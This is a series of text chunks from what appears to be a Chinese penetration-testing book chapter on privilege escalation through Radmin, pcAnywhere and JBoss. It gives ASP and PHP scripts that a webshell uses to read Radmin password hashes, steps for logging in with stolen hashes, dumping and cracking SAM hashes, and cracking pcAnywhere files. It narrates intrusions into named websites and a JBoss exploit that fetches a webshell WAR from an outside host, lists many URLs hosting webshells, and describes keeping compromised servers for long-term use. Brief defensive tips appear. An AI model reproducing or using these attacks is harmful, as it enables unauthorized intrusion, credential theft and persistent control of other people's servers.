    {"text": "1．利用 Radmin 提权 很多 Web 服务器为了管理方便，都会安装一些远程控制软件进行系统和应用程序的维护。 当我 们通过 SQL 注入等方式获得 WebShell 后，一旦发现系统安装了 Radmin 软件，那么一个比较快捷的 方法就是获取 Radmin 的 Hash 值和端口等信息，然后通过 Radmin_hash 客户端连接工具直接连接， 从而达到提权的目地。"},
    {"text": "在 Radmin 2.X 中，其参数设置信息均保存在注册表键值“HKEY_LOCAL_MACHINE\\SYSTEM\\ RAdmin\\v2.0\\Server\\Parameters”下，如图 8-40 所示。 图 8-40 Radmin 2.X 版本参数注册表中保存位置 “Parameter”是默认密码保存值，“Port”是默认端口保存值。"},
    {"text": "435 网络攻防实战研究：漏洞利用与提权 2．获取 Radmin 的有关信息 （1）通过 radmin.asp 获取 将以下代码保存为 radmin.asp 文件，并将其放在网站目录中。"},
    {"text": "<% Set WSH= Server.CreateObject(\"WSCRIPT.SHELL\") RadminPath=\"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" Parameter=\"Parameter\" Port = \"Port\" path=\"LogFilePath\" ParameterArray=WSH.REGREAD(RadminPath & Parameter ) Response.write \"The Result of Radmin Hash\" Response.write \"</br>\" Response.write \"\" Response.write Parameter&\":\" If IsArray(ParameterArray) Then For i = 0 To UBound(ParameterArray) If Len (hex(ParameterArray(i)))=1 Then strObj = strObj & \"0\" & CStr(Hex(ParameterArray(i))) Else strObj = strObj & Hex(ParameterArray(i)) End If Next response.write Lcase(strobj) Response.write \"</br>\" Else response.write \"Error! Can't Read!\" End If Response.write \"\" IF Port<>\"\" then PortArray=WSH.REGREAD(RadminPath & Port ) If IsArray(PortArray) Then Response.write Port &\":\" Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) Response.write \"<br>\" Else Response.write \"Error! Can't Read!\" End If else Response.write \"Port is defualt 4899!\" end if Rpath=WSH.REGREAD(RadminPath & path ) Response.write\"日志文件存储地址位：\" Response.write Rpath Response.write \"<br>\" Function hextointer(strin) Dim i, j, k, result result = 0 For i = 1 To Len(strin) If Mid(strin, i, 1) = \"f\" or Mid(strin, i, 1) =\"F\" Then 436 第 8 章 其他应用程序漏洞利用与提权 j = 15 End If If Mid(strin, i, 1) = \"e\" or Mid(strin, i, 1) = \"E\" Then j = 14 End If If Mid(strin, i, 1) = \"d\" or Mid(strin, i, 1) = \"D\" Then j = 13 End If If Mid(strin, i, 1) = \"c\" or Mid(strin, i, 1) = \"C\" Then j = 12 End If If Mid(strin, i, 1) = \"b\" or Mid(strin, i, 1) = \"B\" Then j = 11 End If If Mid(strin, i, 1) = \"a\" or Mid(strin, i, 1) = \"A\" Then j = 10 End If If Mid(strin, i, 1) <= \"9\" And Mid(strin, i, 1) >= \"0\" Then j = CInt(Mid(strin, i, 1)) End If For k = 1 To Len(strin) - i j = j * 16 Next result = result + j Next hextointer = result End Function %> 直接访问该文件，即可读取 Radmin 的有关信息，如图 8-41 所示，获取了如下信息。"},
    {"text": "（2）通过 radmin.php 获取 服务器可能会使用 PHP 脚本语言，那么使用 radmin.asp 文件就无法读取其相关信息了。 这时要 想读取 Radmin 的信息，只要将以下代码保存为 radmin.php 文件即可，方法与保存 radmin.asp 文件类 似，效果如图 8-42 所示。 <?php $shell = new COM(\"WScript.Shell\") or die(\"This thing requires Windows Scripting Host\"); $rootkey = \"HKEY_LOCAL_MACHINE\\\\SYSTEM\\RAdmin\\\\v2.0\\\\Server\\\\Parameters\\\\\"; $Parameter = \"Parameter\"; $Port = \"Port\"; $logpath = \"LogFilePath\"; $myparam = $shell->RegRead($rootkey.$Parameter); $myport = $shell->RegRead($rootkey.$Port); $path = $shell->RegRead($rootkey.$logpath); 437 网络攻防实战研究：漏洞利用与提权 echo \"radmin hash is:\"; foreach($myparam as $a){ echo dechex($a); } echo \"<br>\"; echo \"radmin port is :\".hexdec(dechex($myport[1]).dechex($myport[0])).\"<br>\"; echo \"radmin log path is:$path<br>\"; echo \"please clean the log\" ?> 图 8-41 获取 Radmin 的有关信息 图 8-42 通过 radmin.php 获取 Radmin 参数值 注意 z 在使用 radmin.asp 或者 radmin.php 文件读取服务器中的 Radmin 参数信息时，有可能会由于 权限问题而无法读取。 z radmin.asp 和 radmin.php 文件只能用于读取 Radmin 服务端 3.0 以下版本，对于 Radmin 3.0 以上版本的读取无能为力。"},
    {"text": "Radmin 3.X 系列是对 Radmin 2.X 系列的完全升级，注册表、安 装程序位置及名称都进行了调整，在同一个系统中，可以同时安装 Radmin 2.X 和 Radmin 3.X。"},
    {"text": "在 Radmin 3.X 中， 其加密方式已经进行了变更，在 Ntusers 键值下的“1”中保存的值是 80 位，在 Radmin Security 中其数值数据位数更多，达到 1170 位，猜测其密码为 1024 位，而多余的位则可能是用户名 称等信息保存的位数。"},
    {"text": "438 第 8 章 其他应用程序漏洞利用与提权 3．使用 Radmin-hash 连接工具 使用 Radmin-hash 工具相对就简单多了，将上面获取的 Radmin 32 位 Hash 值、IP 地址和端口记 下，打开 Radmin-hash，新建一个 IP 地址连接，然后像使用正常的 Radmin 客户端管理器一样进行操 作，如图 8-44 所示，输入获取的 32 位 Hash 值，密码验证通过后即可使用 Telnet、屏幕监控及文件 传输，如图 8-45 所示。 图 8-44 使用 Radmin-hash 连接工具连接服务端 图 8-45 通过 Radmin-hash 客户端管理服务端 8.4.4 利用 Radmin 口令进行内网渗透控制 Radmin 作为一款强大的远程控制软件，深受管理员喜爱。"},
    {"text": "1．查看肉机上的 Radmin 客户端 在 Radmin 客户端中，如果需要连接服务端，则必须要建立一个连接，也就是需要一个 IP 地址 和端口号，否则就不能使用。"},
    {"text": "2．通过 Radmin 客户端建立连接 在 Radmin 客户端中新建一个连接，其 IP 地址设置为如图 8-47 所示的地址，选择相应的端口。 例如，选择 IP 地址为“192.168.0.15”，根据肉机上的 Radmin 客户端的记录，该地址对应的端口（Port） 为“5003”，然后选中“Connect through host”复选框，选择该肉机的 Radmin 地址。 该 IP 地址（肉 机的 IP 地址）将作为内外网连接的桥梁，如果内网的计算机安装了 Radmin 服务端，只要拥有该内 网计算机的 Radmin 控制口令，即可实施全面控制。 3．尝试建立连接 按照以上步骤，依次为肉机 Radmin 客户端中的内网 Radmin 服务端计算机创建连接，然后依次 选择内网计算机进行连接尝试。 在本例中，选择 IP 地址为“192.168.0.11”的计算机，在 Radmin 客 439 网络攻防实战研究：漏洞利用与提权 户端中选择“屏幕查看”选项，双击进行连接。 输入肉机的 Radmin 控制口令尝试连接，如果内网计 算机安装了 Radmin 服务端，则需要输入密码 2 次，一次为肉机的 Radmin 的口令，一次是内网计算 机的 Radmin 口令，输入正确的口令后，才可以执行相应的操作。"},
    {"text": "4．通过 Telnet 查看 IP 地址 在本例中，肉机有外网 IP 地址，也有内网 IP 地址，其内网 IP 地址为 192.168.0.105，当通过肉 机连接内网的计算机时，在内网计算机上显示的网络连接为内网的 IP 地址。 “192.168.0.102”为内网 中的一台计算机，该计算机上的 Radmin 服务端开放的端口为 5000，在本地 Radmin 客户端选择 “Telnet”选项，然后双击“192.168.0.102”选项，输入密码，进入 Telnet 管理界面，输入“netstat -an” 命令查看网络连接，如图 8-49 所示，该网络连接中显示的 Radmin 连接为内网连接。 图 8-46 Radmin 客户端中的服务端计算机 图 8-47 通过肉机端的 Radmin 地址连接内网 图 8-48 连接内网计算机 图 8-49 查看网络连接 5．再次实施内网渗透攻击 通过上面的步骤和获取的信息，我们成功测试了 2 台内网计算机。"},
    {"text": "440 第 8 章 其他应用程序漏洞利用与提权 8.4.5 利用 Radmin 口令进行外网渗透控制 利用 Radmin 口令除了可以进行内网渗透，还可以进行外网渗透，其原理与内网渗透类似，下面 通过实际操作进行讲解。"},
    {"text": "1．查看肉机上的 Radmin 客户端 依次单击“开始”→“程序”→“Remote Administrator v2.2”→“Radmin Viewer”选项，打开 Radmin 客户端，在其中可以看到一个“187”标签。 选择“187”标签，可以在 Radmin 客户端界面 底部看到其对应的 IP 地址为“*.*.*182”，端口号为“2100”，控制模式为“Full Control”。 2．通过 Radmin 客户端建立连接并查看远端屏幕 在本地 Radmin 客户端中新建一个连接，其 IP 地址设置为“*.*.*182”，端口为 2100。 在 Radmin 客户端中选择“屏幕监视”选项，输入得到的密码进行尝试，密码验证成功后，即可进入屏幕监视 状态，查看远端计算机的屏幕了。 3．查看 IP 地址 在本地 Radmin 客户端中选中刚才的 IP 地址，选择“Telnet”选项，进入 Telnet 操作模式，输入 “IPconfig /all”命令查看该计算机的网络配置情况，该计算机的 IP 地址为独立外网 IP 地址。 技巧 在 Radmin 客户端连接状态下，如果是 Radmin 3.0 及以上版本，可以直接通过工具条上的小图 标进行功能的切换，不需要每次输入 Radmin 控制密码。"},
    {"text": "5．再次实施外网渗透攻击 再次利用前面的步骤和获取的信息，依次查看网络中开放 2100 端口的计算机，用已经获取的 Radmin 口令测试该网络中的外网计算机，成功控制了 3 台计算机，其中一台为服务器，且疑似为交 易服务器，如图 8-51 所示。 图 8-50 查看外网情况 图 8-51 再次实施内网渗透攻击 441 网络攻防实战研究：漏洞利用与提权 6．小结 本例通过查看已经控制的肉机的 Radmin 客户端，获取其管理员管理其他计算机时所用的 Radmin 服务端 IP 地址和端口，并通过获取的 Radmin 口令对管理员管理的 Radmin 服务端进行口令 尝试攻击，口令正确率在 50% 左右（即使不正确，还可以通过键盘记录等手段嗅探或者记录管理员 在计算机上的操作，从而获取更多的口令和控制更多的外网计算机）。"},
    {"text": "图 8-52 通过 Radmin 管理网络 8.4.6 远程控制软件 Radmin 提权研究 在网络安全技术比较成熟的今天，一些配置上的疏忽或者管理上的不到位将会导致巨大的安全 风险。"},
    {"text": "按照网上的说法，需要反汇编工具软件的配合，但由于其操作较为烦琐，且成功率较低，后面有人 将整个过程进行优化，将 Radmin 客户端程序进行了修改，提供了 Radmin-Hash 登录版本，因此有了 本节内容。"},
    {"text": "在 Radmin 2.x 中，其密码是经过加密的 32 位 MD5 Hash 值，保存在注册表中 Radmin 键值下的 Parameter 中。 例如， “\"Parameter\"=hex:f4,7b,bc,b1,77,44,6e,73,dd,c2,c3,a7,4c,94,15,fd”、 “f47bbcb17744 6e73ddc2c3a74c9415fd”就是 Radmin 2.x 的 MD5 Hash 值。"},
    {"text": "如果知道安装 Radmin 服务端计算机的 IP 地址、端口及密码，且没有做 IP 地址限制，那么只要能够访问该计算机，就可以对该计算机实施完 442 第 8 章 其他应用程序漏洞利用与提权 全控制。"},
    {"text": "Radmin 远程控制软件本身没有太多缺陷，但是由于管 理人员的疏忽、系统存在其他配置或者程序存在漏洞，因此获取其 Radmin 的 32 位 Hash 值后极有可 能造成极大的安全隐患。 隐患之一就是使用 Radmin-Hash 客户端进行登录——只要获取了 Radmin 的 Hash 值，就可以成功登录该主机。"},
    {"text": "一般来说，获取服务器上的 Hash 值比较困难，目前很多服务器在安全设置上都处理得不错， 对外开放的端口较少，因此只能通过 SQL 注入或者跨站攻击来获取。"},
    {"text": "2．使用 Radmin-Hash 版本进行登录 Radmin-Hash 版本的客户端只要输入 Radmin 客户端的 Hash 值即可进行登录。 在 Radmin-Hash 客户端中新建服务端，如图 8-53 所示，建立成功后使用“工具选项”菜单中的“扫描存活主机”选 项对该主机进行连接测试，如果该主机可以连接，则会在标识中以黄色的对勾显示。 图 8-53 建立 Radmin 连接 3．进行登录验证尝试 选择“221.12.*.*”标识，双击进行连接，Radmin-Hash 版本的客户端会弹出要求输入密码的对话 框，如图 8-54 所示，输入该服务端对应的 32 位的 Hash 值，然后单击“确定”按钮进行登录尝试。 根据网络连接情况，数秒后，如果 Hash 值正确，则可以顺利进入 Radmin 的相应管理界面。 如图 8-55 所示，进入 Radmin 服务端的 Telnet 管理界面，在该界面中可以执行各种命令。 图 8-54 输入 Radmin 的 32 位 Hash 值 图 8-55 成功进入 Telnet 管理界面 443 网络攻防实战研究：漏洞利用与提权 技巧 WebShell 获取的权限很低，除了网站目录外，基本上做不了其他事情，甚至无法执行 DOS 命令， 而通过 Radmin 的 Telnet 管理端则几乎可以执行任何命令。 4．查看远程屏幕和传输文件 在 Radmin 客户端中选择屏幕监控，然后双击其标识，再次输入 32 位 Hash 值，即可查看其远程 主机的屏幕。"},
    {"text": "图 8-56 查看远程屏幕 5．获取密码或者进行内网渗透 在 Telnet 中进入 getpw.exe 文件所在目录，执行“getpw $local”命令获取该主机所有账号的 sam 值，如图 8-57 所示。"},
    {"text": "图 8-57 获取主机 sam 值 444 第 8 章 其他应用程序漏洞利用与提权 6．破解密码 将包含 sam 值的文件进行整理，将包含账号的 sam 值另存为一个 sam 文件，运行 LC5，并将 sam 值导入其中进行破解，如图 8-58 所示，破解成功后管理员账号 Administrator 的密码为“rous***”。"},
    {"text": "7．登录远程桌面 在本地打开远程桌面连接器，输入远端 IP 地址进行登录测试，出现远程连接桌面后，输入破解 后的密码，成功进入远程管理桌面，如图 8-59 所示。 图 8-58 破解管理员账号 图 8-59 进入远程管理桌面 8．防范对策 z 在 Radmin 服务端中进行授权设置。"},
    {"text": "Radmin 中默认未启用日志记 录，可以在 DOS 提示符下输入“R_server /setup”命令打 开设置窗口，如图 8-60 所示，在“Logging”设置区中分 别勾选“Use Event Log”及“Use logfile”复选框，并设置 日志文件名称及路径，然后单击“OK”按钮完成设置。"},
    {"text": "如果主机 24 图 8-60 在 Radmin 中 小时提供服务，则应该定期修改远程管理软件及用户账号 启用日志记录 等密码，并定期安装系统补丁，进行安全检查。"},
    {"text": "8.5 pcAnywhere 账号和口令的破解与提权 通过一些攻击方法和手段取得了远程计算机的控制权后，可以利用其他远程控制软件查找系统中 的 CIF 文件，通过破解 CIF 文件获取 pcAnywhere 的账号和密码，进而通过 pcAnywhere 客户端对远 程主机进行完全控制等操作。 pcAnywhere 是一款比较流行的远程控制软件，其控制原理与 Radmin 445 网络攻防实战研究：漏洞利用与提权 等远程控制软件类似，需要账号和口令。 不同的用户会根据个人喜好选择不同的远程管理软件，在 很多情况下，管理员可能使用某一款远程管理软件管理多台计算机，根据其口令进行猜测或者安装 键盘嗅探软件获取口令等信息可以渗透其内网和外网计算机。 8.5.1 pcAnywhere 账号和口令破解 1．在本地查看远程计算机是否开放了 5631 端口 pcAnywhere 默认的开放端口为 5631。 在 DOS 提示符下输入“sfind -p *.*.*.19”命令查看该 IP 地址的端口开放情况，结果表明该计算机开放了 5631 端口，也就是说，该计算机使用 pcAnywhere 软件作为远程控制软件的服务端，如图 8-61 所示。 图 8-61 查看远程主机是否开放了 5631 端口 2．查找 pcAnywhere 账号和密码文件 通过各种攻击方法和手段成功控制该计算机以后，在其 Shell 或 Telnet 中查找 pcAnywhere 的账 号和密码文件。 pcAnywhere 的账号和密码保存在一个后缀为“.cif”的文件中，在系统目录中输入命 令“dir *.cif /s”，查找系统磁盘中的所有 CIF 文件。 在本例中找到两个 CIF 文件，如图 8-62 所示， 第一个文件是保存 pcAnywhere 账号和密码的文件，第二个是无用文件。 图 8-62 查找 pcAnywhere 的账号和密码文件 446 第 8 章 其他应用程序漏洞利用与提权 3．破解 CIF 加密文件 在本例中使用 Radmin 的文件传输功能将文件传输到本地，然后通过 pcAnywherePWD 进行破 解。 直接运行 pcAnywherePWD，在“文件”对话框中选择刚传输回来的 CIF 文件，单击“破解”按 钮，其账号和密码就显示出来了，如图 8-63 所示。"},
    {"text": "4．连接 pcAnywhere 服务端 pcAnywhere 的安装比较简单。 安装完毕后，直接运行 pcAnywhere 软件，在新建连接向导中输 入 IP 地址“*.*.*.19”，并单击“完成”按钮，双击“*.*.*.19”地址所对应的标签，根据网络情况， 很快就会出现 pcAnywhere 的服务端，要求输入用户名和密码，验证正确后可以进行完全控制等操 作。"},
    {"text": "图 8-63 破解 pcAnywhere 的账号和密码 图 8-64 连接 pcAnywhere 服务端 注意 z 通过 pcAnywhere 远程控制他人计算机时一定要小心，该远程控制软件在完全控制模式下， 其鼠标和屏幕是同步进行的，也就是说，如果用户正在使用远程肉机，那么他会感觉到有人 在操作其鼠标和屏幕。"},
    {"text": "8.5.2 一个渗透实例 1．信息获取 通过前面介绍的一些方法，已经知道某网站被入侵后还留了一个 ASP.NET 的后门 WebShell，由 于没有该 WebShell 的密码，因此需要通过其他途径获取。"},
    {"text": "（1）查询该域名主机下有无其他域名主机 打开 ip866.com 网站，如图 8-65 所示，在输入框中输入网站地址“www.****.com”，然后单击 “点这里反查全部相关域名”按钮，获取该域名主机下的所有绑定域名，有 40 多个。 447 网络攻防实战研究：漏洞利用与提权 （2）获取 IP 地址及端口开放情况 分别使用“ping www.********.com”及“sfind -p 219.133.***.***”命令获取端口信息等，如图 8-66 所示，使用 ping 命令无反应，主机开放了 80、21 及 1433 端口。 图 8-65 获取主机绑定域名信息 图 8-66 获取开放端口等信息 2．检测漏洞 （1）使用工具进行漏洞挖掘 打开 JSky，在其中新建立一个任务，然后进行扫描，如图 8-67 所示，发现 SQL 注入点 8 个， 跨站漏洞 1 个。"},
    {"text": "图 8-67 使用 JSky 扫描网站漏洞 （2）进行注入猜解 在如图 8-68 所示的界面中选中一个 SQL 注入点，然后使用 Pangolin 进行渗透测试。 Pangolin 会 自动进行猜解，如果存在漏洞，则会显示 SQL 注入点的类型、数据库、关键字等信息。"},
    {"text": "448 第 8 章 其他应用程序漏洞利用与提权 图 8-68 猜解表 说明 在 Pangolin 中需要自己进行一些设置，可以设置文字显示模式，有时需要手工设置 SQL 注入点 的类型（Type）及数据库信息等。 （3）猜解管理员表 admin 中的数据 选择 admin 表中的 id、admin_id、admin_name、admin_pass 这 4 个字段，然后单击 Pangolin 主 界面右侧的“Datas”按钮猜解数据，如图 8-69 所示，下方区域显示整个表中共有 2 条记录，右边区 域显示猜解的结果。"},
    {"text": "图 8-69 获取管理员用户名称和密码 （4）获取后台地址 在 JSky 扫描中发现存在 admin 目录，所以直接在浏览器中输入“http://www.*********.com/ admin/”，打开后台登录地址。"},
    {"text": "449 网络攻防实战研究：漏洞利用与提权 图 8-70 获取管理后台登录地址 （5）进入管理后台 在如图 8-70 所示的界面中分别输入管理员用户名和密码“1”，单击“管理员登录”按钮，成功 进入管理后台。"},
    {"text": "图 8-71 成功进入管理后台 （6）寻找上传点 在该网站系统中，新闻动态、友情链接等添加信息接口处均存在文件上传模块，且未对文件进 行过滤，如图 8-72 所示，可以上传任何类型的文件，在本次测试中就直接将 aspxspy.aspx 文件上传。"},
    {"text": "访问网站，找到友情链接网页，然后直接查看源 代码，如图 8-73 所示，获取 WebShell 的地址。 图 8-73 获取 WebShell 的真实地址 （8）WebShell 执行成功 在网站中输入 WebShell 的地址“http://www.xiaobang.com/ads/20081229233452.aspx”，然后输入 管理密码，如图 8-74 所示，WebShell 可以正常运行，单击“Sysinfo”按钮可查看系统信息。 图 8-74 WebShell 执行成功 注意 由于前面已经有人上传了 ASPX 的 WebShell，加上检测时上传了多个 ASPX 的 WebShell，因此， 图 8-74 中有些地址可能不完全匹配。"},
    {"text": "到网站目录中寻找 inc、conn.asp、 config.asp 文件等，查看其源代码，即可获取数据库的物理地址或者配置信息，如图 8-75 所示。 AspxSpy 有一个功能特别好用，就是 IISSpy，使用它可获取该主机下所有的站点目录等信息。 451 网络攻防实战研究：漏洞利用与提权 图 8-75 查看数据库连接文件 conn.asp （2）下载网站数据库 如图 8-76 所示，找到数据库的物理路径即可进行下载。"},
    {"text": "如图 8-77 所示，可以看到系统已经对数 据库采取了一些安全措施，如设置了一个比较难以猜测的名称，但当我们获取 WebShell 后，再复杂 的名称也是无用的了。"},
    {"text": "图 8-76 下载数据库 图 8-77 执行基本命令 （3）执行命令 在 AspxSpy 中命令执行不太好用，换一个功能更强大的 ASPX 类型的木马，可以通过执行“net user”、“net localgroup administrators”、“ipconfig /all”、“netstat -an”等命令查看用户、管理员组、网 络配置、网络连接情况等信息，但不能执行添加用户等提升权限操作，一执行就会报错，如图 8-78 所示。 452 第 8 章 其他应用程序漏洞利用与提权 图 8-78 执行报错命令 （4）读取注册表信息 通过分析，发现该服务器安装了 Radmin 软件，且管理员修改了 Radmin 的默认管理端口 4899， 如果能够获取 Radmin 的口令加密值，也可以直接提升权限。 单击“Regshell”按钮，在“KEY”文 本框中输入 Radmin 2.x 的口令值保存键值“HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\ Parameters”，然后单击“Read”按钮读取，如图 8-79 所示，结果未能成功读取。 使用其他 WebShell 的注册表读取，还是未成功，说明权限不够。 图 8-79 读取 Radmin 2.x 的口令值失败 （5）使用 ASP 的 WebShell 提升权限 在有些情况下，ASPX 的 WebShell 不好用，但 ASP 的 WebShell 执行效果比较好。"},
    {"text": "如图 8-80 所 示，上传一个 ASP 的 WebShell，然后分别查看 Serv-U 和 pcAnywhere，系统使用了 pcAnywhere 进 行远程管理，将其配置文件 CIF 下载到本地。 图 8-80 获取 pcAnywhere 的配置文件 453 网络攻防实战研究：漏洞利用与提权 （6）获取 pcAnywhere 的密码 使用 Symantec pcAnywhere Password Crack 直接破解刚才获取的 CIF 配置文件，如图 8-81 所示，顺利读出 pcAnywhere 远程连接的用 户名和密码。 安装 Symantec pcAnywhere，通过它来连接该服务器，连接成功 后需要用户名和密码才能进行完全控制。 图 8-81 破解 pcAnywhere 4．总结与体会 远程管理密码 在本次安全检测中，发现了漏洞，成功获取了 WebShell，且在一定情况下还可以完全控制该服 务器（待管理员进入系统，尚未锁定屏幕的过程中，可以通过 pcAnywhere 实施远程控制）。"},
    {"text": "（1）在网络安全攻防实战过程中丰富了安全渗透和检测实践经验 通过本次检测，熟悉了 AspxSpy 这个功能强大的 ASP.NET 的 WebShell，该 WebShell 最大的优 点是在获取某一个 WebShell 后可以通过它来下载其他绑定域名站点的数据库。 （2）加深对站点安全防护的认识 在本次检测中，可以明显感觉到该主机系统进行了一些安全防护，除了 pcAnywhere 程序权限设 置不严格外，其他部分的权限设置的安全性尚可。"},
    {"text": "8.6 JBoss 远程代码执行漏洞提权 本节如何针对 JBoss 的一个漏洞获取其 WebShell 进行讨论。 8.6.1 JBoss 远程代码执行漏洞利用 1．使用漏洞特征进行搜索 在 JBoss 的整个漏洞中，一个显著的特征就是“8080/jmx-console/”（当然也有其他特征）。"},
    {"text": "在该页面中 搜索“jboss.deployment”，并找到“* flavor=URL, type=DeploymentScanner”，单击该超链接，看看能 否正常访问，如图 8-82 所示。"},
    {"text": "3．添加 WebShell 的 WAR 文件地址 将 JSP 的 Shell 压缩成 WAR 文件，然后将该 WAR 文件上传到互联网上能够访问的网站中。 本 例中 WAR 文件的真实地址为“http://www.cam*****.com.hk/forum/forumdata/cache/war.war”，当前打 454 第 8 章 其他应用程序漏洞利用与提权 开的页面为“http://oa.tsingtaobeer-sales.com:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name =jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL”，在该页面找到 void addURL() 函数，将“http://www.cam*****.com.hk/forum/forumdata/cache/cmd.war”复制到“ParamValue”中，如 图 8-83 所示。 单击“invoke”按钮，将 http://www.cam*****.com.hk/forum/forumdata/cache/war.war 下 载到本地服务器并进行部署，部署成功后会给出相应的提示，如图 8-84 所示。 图 8-82 测试 JBoss 页面 图 8-83 利用 addURL 函数下载并部署 WAR 文件 图 8-84 操作成功 4．应用修改使设置生效 回到主界面，如图 8-85 所示，在 URLList 中会看到刚才加入的 WAR 地址，单击“Apply Change” 选项使设置生效。 图 8-85 应用修改使设置生效 455 网络攻防实战研究：漏洞利用与提权 5．充实“武器库” 通过观察 URLList，发现该列表就是部署 WAR 的地址。"},
    {"text": "如果通过前面的步骤在 URLList 中只有 我们自己的地址，那么我们就是第一个获取该服务器的人，在获取服务器的权限后可以对其进行升 级和加固，从而可能长期“维护”和使用该服务器。"},
    {"text": "z http://116.232.230.228/xm.war z http://117.67.0.248/wc.war z http://121.207.250.24/war.zip z http://121.207.250.24/war1.zip z http://189.54.19.69:8181/cmd.war z http://189.54.19.69:8181/h2010.war z http://192.168.1.56:8080/System-Console/jsp/test.war z http://203.246.56.27:8080/safe/safe.war z http://210.51.25.183/icons/war.war z http://221.137.124.253:8080/System-Console/jsp/job.jsp z http://221.137.124.253:8080/System-Console/jsp/test.war z http://61.178.73.149/job/no.war z http://blog.avfree.cn/cmd.war z http://blog.xiancn.com/Browser.war z http://blog.xiancn.com/cmd.war z http://jbosstest.webs.com/Browser.war z http://www.acclaimedenterprises.com/tmp/browser.war z http://www.camgear.com.hk/forum/forumdata/cache/Browser.war z http://www.cfblog.com/honeywell/war.war z http://www.laodu.com.cn/ri/hack.war z http://www.nmgfb.com/coody.war z http://www.posumex.com/bdd/user/war.war z http://www.str0m.cn/1.war z http://www.yunxi.net/cmd.war z http://yese.yi.org/cmd.war z http://yese.yi.org/war/cmd.war 可以依次访问这些地址，当然，一个简单的办法是复制这些地址，将其粘贴在 FlashGet 中，通过 FlashGet 下载。"},
    {"text": "6．获得 WebShell 在浏览器地址栏中输入“http://oa.tsingtaobeer-sales.com:8080/war”，测试 WebShell 能否正常访 问，如图 8-86 所示，看到了熟悉的 JSP WebShell 页面。 需要特别注意的是，在部署过程中，由于 WAR 文件和网站路径的不同，其访问地址可能会有一些不同，因此需要多进行测试，有的直接可以 456 第 8 章 其他应用程序漏洞利用与提权 访问，有的需要添加 WAR 包的名称。"},
    {"text": "图 8-86 获得 WebShell 8.6.2 JBoss 远程代码执行漏洞防范方法 此类漏洞的防御方法主要是给 jmx-console 加上访问密码，即采取以下方法。 ① 在“${jboss.server.home.dir}/deploy”下面找到“jmx-console.war”目录，编辑“WEB-INF/web. xml”文件，去掉 security-constraint 块的注释，使其发挥作用。 ② 编辑“WEB-INF/classes/jmx-console-users.properties”或“server/default/conf/props/jmx-console -users.properties(version >=4.0.2)”，以及“WEB-INF/classes/jmx-console-roles.properties”或“server/ default/conf/props/jmx-console-roles.properties(version>=4.0.2)”，添加用户名和密码。 ③ 编辑“WEB-INF/jboss-web.xml”，去掉 security-domain 块的注释，security-domain 值的映射 文件为“login-config.xml”（该文件定义了登录授权方式）。"},
    {"text": "8.6.3 通过 JBoss 信息泄露获取 WebShell 关于 JBoss 的渗透有很多方法，本节提到的这个方法是在前人的基础上快速获取 WebShell，该 方法简单可行。 对于 Linux 的渗透，国外黑客喜欢直接执行命令，而国内黑客喜欢 GUI，因此，在 获取简单的 WebShell，也即仅可以执行命令的 WebShell 的情况下，如何获取真正可操作的 WebShell 是一大难点。"},
    {"text": "图 8-87 测试 JBoss 网页 457 网络攻防实战研究：漏洞利用与提权 2．查看 Tomcat 的状态 提到查看 Tomcat 的状态，很多人首先想到的就是通过 JMX Console 的 deployment 的 addurl 函 数部署 WAR 的 JSP WebShell。"},
    {"text": "通过查看 Tomcat 的所有状态获取目前 JBoss 应用的运行情况，如图 8-88 所示，该服务器至少被 两个人入侵过，且服务器还在运行该 WebShell，“zecmd/zecmd.jsp”即为网站的 WebShell。"},
    {"text": "3．执行命令测试 输入 WebShell 的完整地址，打开该 WebShell 页面，在输入框中输入“cat /etc/passwd”查看 Linux 系统用户的密码，测试结果表明该 WebShell 的权限是 root 权限，也即服务器权限，如图 8-89 所示。 图 8-88 查看 Tomcat 的状态 图 8-89 测试 WebShell 4．下载 JSP WebShell 的 TXT 文件到本地 虽然获取了 WebShell，但该 WebShell 为 cmd 的 WebShell，操作起来非常不方便，因此，需要 上传并部署一个好用的 WebShell。 先向肉机服务器上传一个 TXT 格式的 JSP WebShell，然后使用 “wget http://www.somesite.com/Browser.txt”命令将该文件下载到该 Linux 服务器上，使用“ls -al”命 令查看文件是否下载成功。"},
    {"text": "5．寻找可运行路径 在 Linux 层次结构中，用户可以在被授权的任意目录下利用 mkdir 命令创建新目录，也可以利 用 cd 命令从一个目录切换到另一个目录。"},
    {"text": "在本例中使用 pwd 命令获取当前路径位置， 如图 8-91 所示，显示路径为“/opt/jboss-4.0.5.GA/bin”。 458 第 8 章 其他应用程序漏洞利用与提权 图 8-90 下载 WebShell 到 Linux 服务器 图 8-91 获取当前执行命令的路径 6．查看 JBoss 默认部署路径的文件和目录 通过“ls-al”获取当前路径下的文件和目录名称，完整命令为“ls -al /opt/jboss-4.0.5.GA/”，通过 在绝对路径中添加新的路径获取 JBoss 部署的路径，例如“/opt/jboss-4.0.5.GA/server/default/deploy/”， 如图 8-92 所示，分别显示了文件和目录，目录是以“d”开头的。 图 8-92 查看 JBoss 默认部署路径的文件和目录 7．查看管理后台部署文件 部署路径下的目录有两种：一种是 filename.war； 另一种是系统自带的目录，如“management” 目录就是管理默认目录，如图 8-93 所示，该目录下已经被部署了好几个 Shell。 图 8-93 查看管理后台部署文件 459 网络攻防实战研究：漏洞利用与提权 8．复制 JSP WebShell 到指定目录 将下载的 JSP WebShell 复制到该目录下即可获取 WebShell。 执行“cp Browser.txt /opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war/2.jsp”命令，如图 8-94 所示。 然后，执行“ls -al /opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war”命令，查看文件是否复制成功。"},
    {"text": "图 8-94 复制 JSP WebShell 到指定目录 图 8-95 查看复制文件是否成功 9．成功获取 WebShell 在浏览器地址栏中输入“http://xxx.xxx.xxx.xxx:8080/zmeu/2.jsp”进行访问，如图 8-96 所示，成 功获取 JSP WebShell。"},
    {"text": "图 8-96 成功获取 JSP WebShell 460 第 8 章 其他应用程序漏洞利用与提权 10．管理与维护 对管理人员来说，可以通过查看 Tomcat 的状态获取 Web 应用的情况。"},
